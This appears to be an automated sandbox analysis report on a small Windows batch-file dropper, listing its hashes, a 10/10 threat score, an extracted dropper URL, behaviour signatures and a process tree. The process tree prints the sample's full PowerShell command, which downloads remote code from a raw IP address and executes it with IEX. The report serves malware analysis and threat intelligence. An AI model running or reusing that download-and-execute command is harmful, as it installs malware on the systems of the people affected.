ca5e262f907de83f54f02c1a29643f7584d7934d6aeaf1244dd919d43aac6d05 | Triage

Analysis

max time kernel
109s
max time network
131s
platform
windows10_x64
resource
win10v200430
submitted
19-05-2020 14:10

Sharing

Report Analysis Logs

General

Target

16c5855700e70589f21792245af61fb6.bat
Size

221B
MD5

bf1ad4f345b9b33c5574e4e4458d008a
SHA1

b9bca5ce8683a86288b5431fde6d057f34cfe281
SHA256

ca5e262f907de83f54f02c1a29643f7584d7934d6aeaf1244dd919d43aac6d05
SHA512

4cfd0d06e0a11ff538e91457726895667ed88c73c9b533717bffc82d00e839d690c01917180b01f1c7d6c9640c938ba4991d9c06a7184d0d737f0506d57b3585

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/16c5855700e70589f21792245af61fb6

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3704 2648 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3704 WerFault.exe
Token: SeBackupPrivilege 3704 WerFault.exe
Token: SeDebugPrivilege 3704 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe
3704	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\16c5855700e70589f21792245af61fb6.bat"
1⤵
PID:2116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/16c5855700e70589f21792245af61fb6');Invoke-IGISEXRYSOUZFK;Start-Sleep -s 10000"
2⤵
PID:2648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2648 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3704

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3704-0-0x00000000046B0000-0x00000000046B1000-memory.dmp

Filesize
4KB

Download
memory/3704-2-0x0000000004CE0000-0x0000000004CE1000-memory.dmp

Filesize
4KB

Download